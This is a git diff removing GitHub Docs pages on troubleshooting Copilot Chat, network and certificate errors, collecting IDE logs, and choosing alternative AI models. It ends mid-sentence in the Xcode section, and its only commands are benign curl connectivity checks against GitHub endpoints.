bcdd7afeeb96..000000000000 --- a/content/copilot/troubleshooting-github-copilot/troubleshooting-issues-with-github-copilot-chat.md +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Troubleshooting issues with GitHub Copilot Chat -intro: 'This guide describes common issues with {% data variables.product.prodname_copilot_chat_short %} and how to resolve them.' -product: '{% data reusables.gated-features.copilot-chat-callout %}' -defaultTool: vscode -topics: - - Copilot - - Troubleshooting -versions: - feature: copilot -shortTitle: Copilot Chat -redirect_from: - - /copilot/troubleshooting-github-copilot/troubleshooting-issues-with-github-copilot-chat-in-ides - - /copilot/troubleshooting-github-copilot/troubleshooting-authentication-issues-with-github-copilot-chat ---- - -You can use {% data variables.product.prodname_copilot_chat %} in your IDE or on the {% data variables.product.github %} website. Click the tabs above for troubleshooting information for {% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_vs %}, {% data variables.product.prodname_vscode %}, and on {% data variables.product.github %} in the browser. - -If you need help with {% data variables.product.prodname_copilot_chat %} and can't find the answer here, you can report a bug or ask for help. For more information, see [Sharing feedback about {% data variables.product.prodname_copilot_chat %}](/copilot/github-copilot-chat/copilot-chat-in-ides/using-github-copilot-chat-in-your-ide#sharing-feedback-about-github-copilot-chat). - -{% vscode %} - -If you can't find {% data variables.product.prodname_copilot_chat_short %} in your editor, make sure you have checked the [Prerequisites](/copilot/github-copilot-chat/copilot-chat-in-ides/using-github-copilot-chat-in-your-ide#prerequisites) section. - -## Troubleshooting issues caused by version incompatibility - -{% data reusables.copilot.vscode-version-compatibility %} - -To use {% data variables.product.prodname_copilot_chat %}, make sure you are using the [latest version of {% data variables.product.prodname_vscode %}](https://code.visualstudio.com/updates). - -## Troubleshooting authentication issues in your editor - -{% data reusables.copilot.sign-in-ghecom %} See [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/using-github-copilot-with-an-account-on-ghecom). - -### Troubleshooting authentication issues in {% data variables.product.prodname_vscode %} - -If you are signed in to {% data variables.product.github %} but {% data variables.product.prodname_copilot_short %} is unavailable in {% data variables.product.prodname_vscode %}, it may be due to an authentication problem. Try the following steps to resolve the issue: - -1. In the bottom left corner of the {% data variables.product.prodname_vscode %} window, click the **Accounts** icon, hover over your {% data variables.product.prodname_dotcom %} username, and click the **Sign out** button. -1. To reload {% data variables.product.prodname_vscode %}, press <kbd>F1</kbd> to open the command palette, and select **Developer: Reload Window**. -1. After {% data variables.product.prodname_vscode %} reloads, sign back in to your {% data variables.product.prodname_dotcom %} account. - -{% endvscode %} - -{% visualstudio %} - -If you can't find {% data variables.product.prodname_copilot_chat_short %} in your editor, make sure you have checked the [Prerequisites](/copilot/github-copilot-chat/copilot-chat-in-ides/using-github-copilot-chat-in-your-ide#prerequisites) section. - -## Troubleshooting authentication issues in your editor - -{% data reusables.copilot.sign-in-ghecom %} See [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/using-github-copilot-with-an-account-on-ghecom). - -### Troubleshooting authentication issues in {% data variables.product.prodname_vs %} - -If you are experiencing authentication issues after installing the {% data variables.product.prodname_copilot_chat %} extension in {% data variables.product.prodname_vs %}, you can try the following steps to resolve the issue. - -1. Check that the {% data variables.product.prodname_dotcom %} ID you are signed into {% data variables.product.prodname_vs %} with is the same as the one you have been granted access to {% data variables.product.prodname_copilot_chat %} with. -1. Check whether your {% data variables.product.prodname_dotcom %} ID/credentials need refreshing in {% data variables.product.prodname_vs %}. For more information, see [Work with {% data variables.product.prodname_dotcom %} accounts in {% data variables.product.prodname_vs %}](https://learn.microsoft.com/en-us/visualstudio/ide/work-with-github-accounts?view=vs-2022) in the {% data variables.product.prodname_vs %} documentation. -1. Try removing and re-adding your {% data variables.product.prodname_dotcom %} ID to {% data variables.product.prodname_vs %} and restarting {% data variables.product.prodname_vs %}. -1. If the above steps don't work, click the **Share feedback** button and select **Report a problem** to report the issue to the {% data variables.product.prodname_vs %} team. - - ![Screenshot of the share feedback button in {% data variables.product.prodname_vs %}.](/assets/images/help/copilot/vs-share-feedback-button.png) - -{% endvisualstudio %} - -{% webui %} - -## Troubleshooting interrupted chat responses - -If a chat response terminates unexpectedly, before the response is complete, try resubmitting the question. - -In {% data variables.product.prodname_copilot_chat_short %}'s immersive view (the [github.com/copilot](https://github.com/copilot) page), you can resubmit your question by clicking the {% octicon "sync" aria-label="Retry" %} button under the chat response. - -{% endwebui %} diff --git a/content/copilot/troubleshooting-github-copilot/troubleshooting-network-errors-for-github-copilot.md b/content/copilot/troubleshooting-github-copilot/troubleshooting-network-errors-for-github-copilot.md deleted file mode 100644 index cfef54e12f4a..000000000000 --- a/content/copilot/troubleshooting-github-copilot/troubleshooting-network-errors-for-github-copilot.md +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Troubleshooting network errors for GitHub Copilot -intro: Resolve common errors related to proxies and custom certificates. -product: '{% data reusables.gated-features.copilot %}' -topics: - - Copilot - - Logging - - Troubleshooting -redirect_from: - - /copilot/troubleshooting-github-copilot/troubleshooting-certificate-errors-for-github-copilot -versions: - feature: copilot -shortTitle: Network errors ---- - -If you're working on company equipment and connecting to a corporate network, you may be connecting to the Internet via a VPN or an HTTP proxy server. In some cases, these types of network setups may prevent {% data variables.product.prodname_copilot %} from connecting to {% data variables.product.prodname_dotcom %}'s server. For more information about the options for setting up proxies with {% data variables.product.prodname_copilot %}, see [AUTOTITLE](/copilot/configuring-github-copilot/configuring-network-settings-for-github-copilot). - -This article provides guidance for common issues related to HTTP proxies and custom certificates. If you use a firewall, this may also interfere with {% data variables.product.prodname_copilot %}'s connection. For more information, see [AUTOTITLE](/copilot/troubleshooting-github-copilot/troubleshooting-firewall-settings-for-github-copilot). - -## Diagnosing network issues - -If you're troubleshooting network issues, it may help to make `curl` requests to test your connection. If you add the `--verbose` flag, these requests give you more information to diagnose the issue, or to share with your company's IT department or {% data variables.contact.github_support %}. You can contact {% data variables.contact.github_support %} through the {% data variables.contact.contact_support_portal %}. - -To check if you can access at least some of {% data variables.product.prodname_dotcom %}'s endpoints from your environment, you can run the following command from the command line. - -```shell copy -curl --verbose https://copilot-proxy.githubusercontent.com/_ping -``` - -If you're able to connect, you should receive an HTTP 200 response. - -If you know you are connecting via an HTTP proxy, you can check if the request succeeds when made via the proxy. In the following example, replace `YOUR-PROXY-URL:PORT` with the details for your proxy. - -```shell copy -curl --verbose -x http://YOUR-PROXY-URL:PORT -i -L https://copilot-proxy.githubusercontent.com/_ping -``` - -If you receive an error related to "revocation for the certificate," you can try the request again with the `--insecure` flag. If the request only succeeds when the `--insecure` flag is added, this may indicate that {% data variables.product.prodname_copilot %} will only connect successfully if you ignore certificate errors. For more information, see [Troubleshooting certificate-related errors](#troubleshooting-certificate-related-errors). - -If you're specifically having difficulty with {% data variables.product.prodname_copilot_chat_short %} in your editor, run the above `curl` commands but use `https://api.githubcopilot.com/_ping` instead of `https://copilot-proxy.githubusercontent.com/_ping`. - -If you're unable to connect and the `curl` requests don't help to identify the error, it may help to collect detailed diagnostic logs in your editor. If you're working with your company's IT department or {% data variables.contact.contact_support_page %}, sharing these diagnostics may help to resolve the error. Enabling debug logging in your editor will help you to share more specific information. For more information, see [AUTOTITLE](/copilot/troubleshooting-github-copilot/viewing-logs-for-github-copilot-in-your-environment). - -## Troubleshooting proxy errors - -If there is a problem with your proxy setup, you may see the following error: `{% data variables.product.prodname_copilot %} could not connect to server. Extension activation failed: "read ETIMEDOUT" or "read ECONNRESET"`. This error can be caused by a range of network issues. - -If you know you are connecting via a proxy, make sure the proxy is configured correctly in your environment. For more information, see [AUTOTITLE](/copilot/configuring-github-copilot/configuring-network-settings-for-github-copilot#configuring-proxy-settings-for-github-copilot). - -> [!NOTE] If you are an employee of a company with a proxy server, your company must also configure proxy settings for {% data variables.product.prodname_copilot_short %} at the company level. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/configuring-your-proxy-server-or-firewall-for-copilot). - -{% data variables.product.prodname_copilot %} uses custom code to connect to proxies. This means a proxy setup supported by your editor is not necessarily supported by {% data variables.product.prodname_copilot %}. Some common causes for errors related to proxies are: - -* If your proxy's URL starts `https://`, it is not currently supported by {% data variables.product.prodname_copilot %}. -* You may need to authenticate to the proxy. {% data variables.product.prodname_copilot %} supports basic authentication or authentication with Kerberos. If you are using Kerberos, ensure you have a valid ticket for the proxy service and that you are using the correct service principal name for the service. For more information, see [AUTOTITLE](/copilot/configuring-github-copilot/configuring-network-settings-for-github-copilot#authentication-with-kerberos). -* {% data variables.product.prodname_copilot %} may reject custom certificates. For more information, see [Troubleshooting certificate-related errors](#troubleshooting-certificate-related-errors). - -## Troubleshooting certificate-related errors - -Depending on your proxy setup, you may encounter errors like "certificate signature failure," "custom certificate," or "unable to verify the first certificate." These errors are usually caused by a corporate proxy setup that uses custom certificates to intercept and inspect secure connections. - -Some possible ways to resolve certificate-related errors are: -* Configure a different proxy that does not intercept secure connections. -* If you are using a corporate proxy, contact your IT department to see if they can configure the proxy to not intercept secure connections. -* Ensure the custom certificates are properly installed in your operating system's trust store. For more information, see [AUTOTITLE](/copilot/configuring-github-copilot/configuring-network-settings-for-github-copilot#allowing-github-copilot-to-use-custom-certificates). If the certificates are installed on your machine but {% data variables.product.prodname_copilot %} isn't detecting them, it may help you to know the mechanisms that {% data variables.product.prodname_copilot %} uses to find certificates. - * On Windows, {% data variables.product.prodname_copilot_short %} uses the [win-ca package](https://www.npmjs.com/package/win-ca). - * On macOS, {% data variables.product.prodname_copilot_short %} uses the [mac-ca package](https://www.npmjs.com/package/mac-ca). - * On Linux, {% data variables.product.prodname_copilot_short %} checks the standard OpenSSL files `/etc/ssl/certs/ca-certificates.crt` and `/etc/ssl/certs/ca-bundle.crt`. -* Configure {% data variables.product.prodname_copilot %} to ignore certificate errors. In your proxy settings, you can deselect **Proxy Strict SSL** in {% data variables.product.prodname_vscode %}, or select **Accept non-trusted certificates automatically** in a JetBrains IDE. For more information, see [AUTOTITLE](/copilot/configuring-github-copilot/configuring-network-settings-for-github-copilot#configuring-proxy-settings-for-github-copilot). - - > [!WARNING] Ignoring certificate errors can cause security issues and is not recommended. - -### Troubleshooting security software-related certificate errors - -If you or your organization use security software that monitors secure web traffic and you receive an "unable to verify the first certificate" error, you may need to configure an exception for your IDE and/or the copilot extension. - -For more information about how to configure an exception, refer to your security software vendor. diff --git a/content/copilot/troubleshooting-github-copilot/viewing-logs-for-github-copilot-in-your-environment.md b/content/copilot/troubleshooting-github-copilot/viewing-logs-for-github-copilot-in-your-environment.md deleted file mode 100644 index d3229c8ce9f4..000000000000 --- a/content/copilot/troubleshooting-github-copilot/viewing-logs-for-github-copilot-in-your-environment.md +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: Viewing logs for GitHub Copilot in your environment -intro: 'View logs to troubleshoot {% data variables.product.prodname_copilot %}-related errors in your IDE.' -product: '{% data reusables.gated-features.copilot %}' -redirect_from: - - /copilot/troubleshooting-github-copilot/troubleshooting-github-copilot-in-visual-studio - - /copilot/troubleshooting-github-copilot/troubleshooting-github-copilot-in-visual-studio-code - - /copilot/troubleshooting-github-copilot/troubleshooting-github-copilot-in-a-jetbrains-ide - - /copilot/troubleshooting-github-copilot/troubleshooting-github-copilot-in-neovim - - /copilot/troubleshooting-github-copilot/troubleshooting-github-copilot-in-your-environment -topics: - - Copilot - - Logging - - Troubleshooting -versions: - feature: copilot -shortTitle: View logs ---- - -{% jetbrains %} - -## Collecting log files - -The location of the log files depends on the JetBrains IDE you are using. For more information, see [AUTOTITLE](/copilot/configuring-github-copilot/configuring-github-copilot-in-your-environment?tool=jetbrains). - -These steps describe how to view and collect the log files for the following JetBrains IDEs: - -* IntelliJ IDEA -* Android Studio -* GoLand -* PhpStorm -* PyCharm -* RubyMine -* WebStorm - -The {% data variables.product.prodname_copilot %} extension logs to the IDEA log location for IntelliJ plugins. -1. In your JetBrains IDE, open the **Help** menu. -1. Go to **Show Log in Finder**. -1. Open the `idea.log` in your preferred editor and look for any errors related to {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_copilot %}. - -For more information, see the [Locating IDE log files](https://intellij-support.jetbrains.com/hc/en-us/articles/207241085-Locating-IDE-log-files) in the IntelliJ documentation. - -### Collect log files from Rider - -1. In Rider, open the **Help** menu. -1. Go to **Diagnostic Tools**. -1. Go to **Show Log in**. -1. Open the `idea.log` in your preferred editor and look for any errors related to {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_copilot %}. - -## Enabling debug mode - -If you find the log file doesn't contain enough information to resolve an issue, it may help to enable debug logging temporarily. This can be especially helpful for debugging network-related issues. - -1. In the menu bar, click **Help**, select **Diagnostic Tools**, and click **Debug Log Settings...**. - - ![Screenshot of the menu bar in a JetBrains IDE. The "Help" menu and "Diagnostic Tools" submenu are expanded and "Debug Log Settings" is highlighted.](/assets/images/help/copilot/jetbrains-debug-log.png) - -1. In the "Custom Debug Log Configuration" window, add a new line with the following content, then click **OK**. - - ```text copy - #com.github.copilot:trace - ``` - -1. Keep using your IDE until you encounter the issue again, then collect the log file as described in [Collecting log files](#collecting-log-files). -1. When you have the information you need, disable debug mode by removing `#com.github.copilot:trace` from the "Custom Debug Log Configuration" window. - -## Viewing network connectivity diagnostics logs - -If you encounter problems connecting to {% data variables.product.prodname_copilot %} due to network restrictions, firewalls, or your proxy setup, use the following troubleshooting steps. - -1. In the menu bar, click **Tools**, select **{% data variables.product.prodname_copilot %}**, and click **Log Diagnostics**. -1. The `idea.log` file should open in the JetBrains IDE with the diagnostics output. Alternatively, you can open the `idea.log` file in your preferred editor. -1. Check the section on **Reachability** to determine if {% data variables.product.prodname_copilot %} can access the necessary services. - -## Troubleshooting certificate-related errors - -If you're using a custom certificate, ensure the certificate is installed correctly in the operating system, see [AUTOTITLE](/copilot/troubleshooting-github-copilot/troubleshooting-network-errors-for-github-copilot). Then use the following troubleshooting steps. - -1. In the menu bar, click **Tools**, select **{% data variables.product.prodname_copilot %}**, and click **Log CA Certificates**. -1. The `idea.log` file should open in the JetBrains IDE with the trusted CA certificates logged in PEM format. You may need to refresh the `idea.log` file to view all of the output. Alternatively, you can open the `idea.log` file in your preferred editor. -1. Check to see if the expected custom certificate is included in the certificate list output. - -{% endjetbrains %} - -{% visualstudio %} - -## Viewing logs in {% data variables.product.prodname_vs %} - -The log files for the {% data variables.product.prodname_copilot %} extension are stored in the standard log location for {% data variables.product.prodname_vs %} extensions. -1. Open the **View** menu in {% data variables.product.prodname_vs %}. -1. Click **Output**. -1. On the right of the Output view pane, select **{% data variables.product.prodname_copilot %}** from the dropdown menu. - -## Further reading - -* [Log all activity to the log file for troubleshooting](https://learn.microsoft.com/en-us/visualstudio/ide/reference/log-devenv-exe?view=vs-2022) in the {% data variables.product.prodname_vs %} documentation - -{% endvisualstudio %} - -{% vscode %} - -## Viewing and collecting log files - -The log files for the {% data variables.product.prodname_copilot %} extension are stored in the standard log location for {% data variables.product.prodname_vscode %} extensions. The log files are useful for diagnosing connection issues. -1. Open the **View** menu in {% data variables.product.prodname_vscode %}. -1. Click **Output**. -1. On the right of the Output view pane, select **{% data variables.product.prodname_copilot %}** from the dropdown menu. - -Alternatively, you can open the log folder for {% data variables.product.prodname_vscode %} extensions in your system's file explorer. This is useful if you need to forward the log files to the support team. - -1. Open the {% data variables.product.prodname_vscode_command_palette_shortname %} - * For Mac: - * Use: <kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> - * For Windows or Linux: - * Use: <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> -1. Type "Logs", and then select **Developer: Open Extension Logs Folder** from the list. - -## Viewing network connectivity diagnostics logs - -If you encounter problems connecting to {% data variables.product.prodname_copilot %} due to network restrictions, firewalls, or your proxy setup, use the following troubleshooting steps. - -1. Open the {% data variables.product.prodname_vscode_command_palette_shortname %} - * For Mac: - * Use: <kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> - * For Windows or Linux: - * Use: <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> -1. Type "Diagnostics", and then select **{% data variables.product.prodname_copilot %}: Collect Diagnostics** from the list. This opens a new editor with the relevant information that you can inspect yourself or share with the support team. -1. Check the section on **Reachability** to determine if {% data variables.product.prodname_copilot %} can actually access the necessary services. - -## Viewing Electron logs - -In rare cases, errors might not be propagated to the corresponding error handlers and are not logged in the regular locations. If you encounter errors and there is nothing in the logs, you may try to see the logs from the process running {% data variables.product.prodname_vscode_shortname %} and the extension. - -1. Open the {% data variables.product.prodname_vscode_command_palette_shortname %} - * For Mac: - * Use: <kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> - * For Windows or Linux: - * Use <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> -1. Type "Toggle", and then select **Developer: Toggle Developer Tools** from the list. -1. In the Developer Tools window, select the **Console** tab to see any errors or warnings. - - ![Screenshot of the Developer Tools window in {% data variables.product.prodname_vscode %}. The console tab is outlined in dark orange.](/assets/images/help/copilot/vsc-electron-logs.png) - -## Further reading - -* [AUTOTITLE](/copilot/troubleshooting-github-copilot/troubleshooting-network-errors-for-github-copilot) -* [Network Connections in {% data variables.product.prodname_vscode %}](https://code.visualstudio.com/docs/setup/network) in the {% data variables.product.prodname_vscode %} documentation - -{% endvscode %} - -{% vimneovim %} - -## Checking if {% data variables.product.prodname_copilot %} is operational - -To check if GitHub Copilot is operational, run the following command in Vim/Neovim: - - :Copilot status - -{% endvimneovim %} - -{% xcode %} - -## Collecting log files - -The log files for the {% data variables.product.prodname_copilot %} extension for Xcode are stored in `~/Library/Logs/GitHubCopilot/`. The most recent file is named `github-copilot-for-xcode.log`. - -1. Open the {% data variables.product.prodname_copilot %} extension application. -1. At the top of the application window, click **Advanced**. -1. In the "Logging" section, click **Open Copilot Log Folder**. - -## Enabling verbose logs - -You can enable verbose logging to help troubleshoot issues with the {% data variables.product.prodname_copilot %} extension for Xcode. - -1. Open the {% data variables.product.prodname_copilot %} extension application. -1. At the top of the application window, click **Advanced**. -1. In the "Logging" section, next to "Verbose Logging", toggle the switch to the right. - -{% endxcode %} diff --git a/content/copilot/using-github-copilot/ai-models/changing-the-ai-model-for-copilot-chat.md b/content/copilot/using-github-copilot/ai-models/changing-the-ai-model-for-copilot-chat.md deleted file mode 100644 index fdc78411b017..000000000000 --- a/content/copilot/using-github-copilot/ai-models/changing-the-ai-model-for-copilot-chat.md +++ /dev/null @@ -1,235 +0,0 @@ ---- -title: Changing the AI model for Copilot Chat -shortTitle: 'Change the chat model' -intro: 'Learn how to change the default LLM for {% data variables.product.prodname_copilot_chat_short %} to a different model.' -versions: - feature: copilot -topics: - - Copilot ---- - -By default, {% data variables.product.prodname_copilot_chat_short %} uses OpenAI's GPT-4o large language model. This is a highly proficient model that performs well for text generation tasks, such as summarization and knowledge-based chat. The model is also capable of reasoning, solving complex math problems and coding. - -However, you are not limited to using this model. You can choose from a selection of other models, each with its own particular strengths. You may have a favorite model that you like to use, or you might prefer to use a particular model for inquiring about a specific subject. - -{% data variables.product.prodname_copilot_short %} allows you to change the model during a chat and have the alternative model used to generate responses to your prompts. - -{% webui %} - -> [!NOTE] -> * Multiple model support in {% data variables.product.prodname_copilot_chat_short %} is in {% data variables.release-phases.public_preview %} and is subject to change. {% ifversion copilot-enterprise %} -> * Support for GPT-4.5 is only available on {% data variables.product.prodname_copilot_enterprise_short %}. {% endif %} -> * You can only use an alternative AI model in the immersive view of {% data variables.product.prodname_copilot_chat_short %}. This is the full-page version of {% data variables.product.prodname_copilot_chat_short %} that's displayed at [https://github.com/copilot](https://github.com/copilot). The {% data variables.product.prodname_copilot_chat_short %} panel always uses the default model. - -## AI models for {% data variables.product.prodname_copilot_chat_short %} - -The following models are currently available in the immersive mode of {% data variables.product.prodname_copilot_chat_short %}: - -* {% data reusables.copilot.model-description-gpt-4o %} {% ifversion copilot-enterprise %} -* {% data reusables.copilot.model-description-gpt-4-5 %} {% endif %} -* {% data reusables.copilot.model-description-claude-sonnet-37 %} -* {% data reusables.copilot.model-description-claude-sonnet-35 %} -* {% data reusables.copilot.model-description-gemini-flash %} -* {% data reusables.copilot.model-description-o1 %} -* {% data reusables.copilot.model-description-o3-mini %} - -For more information about these models, see: - -* **OpenAI's GPT-4o,{% ifversion copilot-enterprise %} GPT-4.5,{% endif %} o1, and o3-mini models**: [Models](https://platform.openai.com/docs/models) in the OpenAI Platform documentation. -* **Anthropic's {% data variables.copilot.copilot_claude_sonnet %} models**: [AUTOTITLE](/copilot/using-github-copilot/ai-models/using-claude-sonnet-in-github-copilot). -* **Google's {% data variables.copilot.copilot_gemini_flash %} model**: [AUTOTITLE](/copilot/using-github-copilot/ai-models/using-gemini-flash-in-github-copilot). - -### Limitations of AI models for {% data variables.product.prodname_copilot_chat_short %} - -* If you want to use the skills listed in the table above{% ifversion ghec %}, or knowledge bases{% endif %}, on the {% data variables.product.github %} website, only the GPT-4o, {% data variables.copilot.copilot_claude_sonnet %}, and {% data variables.copilot.copilot_gemini_flash %} models are supported. -* Experimental pre-release versions of the models may not interact with all filters correctly, including the duplication detection filter. - -## Changing your AI model - -These instructions are for {% data variables.product.prodname_copilot_short %} on the {% data variables.product.github %} website. For instructions on different clients, click the appropriate tab at the top of this page. - -{% data reusables.copilot.model-picker-enable-alternative-models %} - -> [!NOTE] If you use {% data variables.product.prodname_copilot_extensions_short %}, they may override the model you select. - -1. In the top right of any page on {% data variables.product.github %}, click {% octicon "triangle-down" aria-label="The downwards triangle icon" %} beside the **{% octicon "copilot" aria-hidden="true" %}** icon and click **Immersive** in the dropdown menu. - - ![Screenshot of the 'Immersive' button, highlighted with a dark orange outline.](/assets/images/help/copilot/copilot-immersive-button.png) - -1. At the top of the immersive view, select the **CURRENT-MODEL** {% octicon "chevron-down" aria-hidden="true" %} dropdown menu, then click the AI model of your choice. - -{% endwebui %} - -{% vscode %} - -Changing the model that's used by {% data variables.product.prodname_copilot_chat_short %} does not affect the model that's used for {% data variables.product.prodname_copilot_short %} code completion. See [AUTOTITLE](/copilot/using-github-copilot/ai-models/changing-the-ai-model-for-copilot-code-completion). - -> [!NOTE] -> * Multiple model support in {% data variables.product.prodname_copilot_chat_short %} is in {% data variables.release-phases.public_preview %} and is subject to change. {% ifversion copilot-enterprise %} -> * Support for GPT-4.5 is only available on {% data variables.product.prodname_copilot_enterprise_short %}. {% endif %} - -## AI models for {% data variables.product.prodname_copilot_chat_short %} - -The following models are currently available through multi-model {% data variables.product.prodname_copilot_chat_short %}: - -* {% data reusables.copilot.model-description-gpt-4o %} {% ifversion copilot-enterprise %} -* {% data reusables.copilot.model-description-gpt-4-5 %} {% endif %} -* {% data reusables.copilot.model-description-claude-sonnet-37 %} -* {% data reusables.copilot.model-description-claude-sonnet-35 %} -* {% data reusables.copilot.model-description-gemini-flash %} -* {% data reusables.copilot.model-description-o1 %} -* {% data reusables.copilot.model-description-o3-mini %} - -For more information about these models, see: - -* **OpenAI's GPT-4o,{% ifversion copilot-enterprise %} GPT-4.5,{% endif %} o1, and o3-mini models**: [Models](https://platform.openai.com/docs/models) in the OpenAI Platform documentation. -* **Anthropic's {% data variables.copilot.copilot_claude_sonnet %} models**: [AUTOTITLE](/copilot/using-github-copilot/ai-models/using-claude-sonnet-in-github-copilot). -* **Google's {% data variables.copilot.copilot_gemini_flash %} model**: [AUTOTITLE](/copilot/using-github-copilot/ai-models/using-gemini-flash-in-github-copilot). - -## Changing your AI model - -These instructions are for {% data variables.product.prodname_vscode_shortname %}. For instructions on different clients, click the appropriate tab at the top of this page. - -{% data reusables.copilot.model-picker-enable-alternative-models %} - -{% data reusables.copilot.chat-model-limitations-ide %} - -{% data reusables.copilot.open-chat-vs-code %} -1. In the bottom right of the chat view, select the **CURRENT-MODEL** {% octicon "chevron-down" aria-hidden="true" %} dropdown menu, then click the AI model of your choice. - -{% endvscode %} - -{% visualstudio %} - -> [!NOTE] Multiple model support in {% data variables.product.prodname_copilot_chat_short %} is in {% data variables.release-phases.public_preview %} and is subject to change. - -## AI models for {% data variables.product.prodname_copilot_chat_short %} - -The following models are currently available through multi-model {% data variables.product.prodname_copilot_chat_short %}: - -* {% data reusables.copilot.model-description-gpt-4o %} -* {% data reusables.copilot.model-description-claude-sonnet-37 %} -* {% data reusables.copilot.model-description-claude-sonnet-35 %} -* {% data reusables.copilot.model-description-o1 %} -* {% data reusables.copilot.model-description-o3-mini %} - -For more information about these models, see: - -* **OpenAI's GPT-4o, o1, and o3-mini models**: [Models](https://platform.openai.com/docs/models) in the OpenAI Platform documentation. -* **Anthropic's {% data variables.copilot.copilot_claude_sonnet %} models**: [AUTOTITLE](/copilot/using-github-copilot/ai-models/using-claude-sonnet-in-github-copilot). - -## Changing the AI model for {% data variables.product.prodname_copilot_chat_short %} - -These instructions are for {% data variables.product.prodname_vs %}. For instructions on different clients, click the appropriate tab at the top of this page. - -To use multi-model {% data variables.product.prodname_copilot_chat_short %}, you must use {% data variables.product.prodname_vs %} 2022 version 17.12 or later. See the [{% data variables.product.prodname_vs %} downloads page](https://visualstudio.microsoft.com/downloads/). - -{% data reusables.copilot.model-picker-enable-alternative-models %} - -{% data reusables.copilot.chat-model-limitations-ide %} - -1. In the {% data variables.product.prodname_vs %} menu bar, click **View**, then click **{% data variables.product.prodname_copilot_chat %}**. -1. In the bottom right of the chat view, select the **CURRENT-MODEL** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click the AI model of your choice. - -{% endvisualstudio %} - -{% jetbrains %} - -Changing the model that's used by {% data variables.product.prodname_copilot_chat_short %} does not affect the model that's used for {% data variables.product.prodname_copilot_short %} code completion. See [AUTOTITLE](/copilot/using-github-copilot/ai-models/changing-the-ai-model-for-copilot-code-completion). - -## AI models for {% data variables.product.prodname_copilot_chat_short %} - -The following models are currently available through multi-model {% data variables.product.prodname_copilot_chat_short %}: - -* {% data reusables.copilot.model-description-gpt-4o %} -* {% data reusables.copilot.model-description-claude-sonnet-35 %} -* {% data reusables.copilot.model-description-gemini-flash %} -* {% data reusables.copilot.model-description-o1 %} -* {% data reusables.copilot.model-description-o3-mini %} - -For more information about these models, see: - -* **OpenAI's GPT-4o, o1, and o3-mini models**: [Models](https://platform.openai.com/docs/models) in the OpenAI Platform documentation. -* **Anthropic's {% data variables.copilot.copilot_claude_sonnet %} models**: [AUTOTITLE](/copilot/using-github-copilot/ai-models/using-claude-sonnet-in-github-copilot). -* **Google's {% data variables.copilot.copilot_gemini_flash %} model**: [AUTOTITLE](/copilot/using-github-copilot/ai-models/using-gemini-flash-in-github-copilot). - -## Changing the AI model for {% data variables.product.prodname_copilot_chat_short %} - -These instructions are for the JetBrains IDEs. For instructions on different clients, click the appropriate tab at the top of this page. - -{% data reusables.copilot.model-picker-enable-alternative-models %} - -{% data reusables.copilot.chat-model-limitations-ide %} - -1. Click the **{% octicon "copilot" aria-hidden="true" %}** icon in the status bar. -1. In the popup menu, click **Open {% data variables.product.prodname_copilot_chat %}**. -1. In the bottom right of the chat view, select an AI model of your choice from the {% octicon "chevron-down" aria-hidden="true" %} dropdown menu. - -{% endjetbrains %} - -{% eclipse %} - -## AI models for {% data variables.product.prodname_copilot_chat_short %} - -The following models are currently available through multi-model {% data variables.product.prodname_copilot_chat_short %}: - -* {% data reusables.copilot.model-description-gpt-4o %} -* {% data reusables.copilot.model-description-claude-sonnet-35 %} -* {% data reusables.copilot.model-description-gemini-flash %} -* {% data reusables.copilot.model-description-o1 %} -* {% data reusables.copilot.model-description-o3-mini %} - -For more information about these models, see: - -* **OpenAI's GPT-4o, o1, and o3-mini models**: [Models](https://platform.openai.com/docs/models) in the OpenAI Platform documentation. -* **Anthropic's {% data variables.copilot.copilot_claude_sonnet %} models**: [AUTOTITLE](/copilot/using-github-copilot/ai-models/using-claude-sonnet-in-github-copilot). -* **Google's {% data variables.copilot.copilot_gemini_flash %} model**: [AUTOTITLE](/copilot/using-github-copilot/ai-models/using-gemini-flash-in-github-copilot). - -## Changing the AI model for {% data variables.product.prodname_copilot_chat_short %} - -These instructions are for the Eclipse IDE. For instructions on different clients, click the appropriate tab at the top of this page. - -{% data reusables.copilot.model-picker-enable-alternative-models %} - -{% data reusables.copilot.chat-model-limitations-ide %} - -1. Click the **{% octicon "copilot" aria-hidden="true" %}** icon in the status bar. -1. In the popup menu, click **Open Chat**. -1. In the bottom right of the chat panel, click the currently selected AI model, then select an alternative model from the popup menu. - -{% endeclipse %} - -{% xcode %} - -> [!NOTE] Multiple model support in {% data variables.product.prodname_copilot_chat_short %} is in {% data variables.release-phases.public_preview %} and is subject to change. - -## AI models for {% data variables.product.prodname_copilot_chat_short %} - -The following models are currently available through multi-model {% data variables.product.prodname_copilot_chat_short %}: - -* {% data reusables.copilot.model-description-gpt-4o %} -* {% data reusables.copilot.model-description-claude-sonnet-35 %} -* {% data reusables.copilot.model-description-o1 %} -* {% data reusables.copilot.model-description-o3-mini %} -* {% data reusables.copilot.model-description-gemini-flash %} - -For more information about these models, see: - -* **OpenAI's GPT-4o, o1, and o3-mini models**: [Models](https://platform.openai.com/docs/models) in the OpenAI Platform documentation. -* **Anthropic's {% data variables.copilot.copilot_claude_sonnet %} model**: [AUTOTITLE](/copilot/using-github-copilot/ai-models/using-claude-sonnet-in-github-copilot). -* **Google's {% data variables.copilot.copilot_gemini_flash %} model**: [AUTOTITLE](/copilot/using-github-copilot/ai-models/using-gemini-flash-in-github-copilot). - -## Changing the AI model for {% data variables.product.prodname_copilot_chat_short %} - -These instructions are for Xcode. For instructions on different clients, click the appropriate tab at the top of this page. - -To use multi-model {% data variables.product.prodname_copilot_chat_short %}, you must install the {% data variables.product.prodname_copilot %} for Xcode extension. See 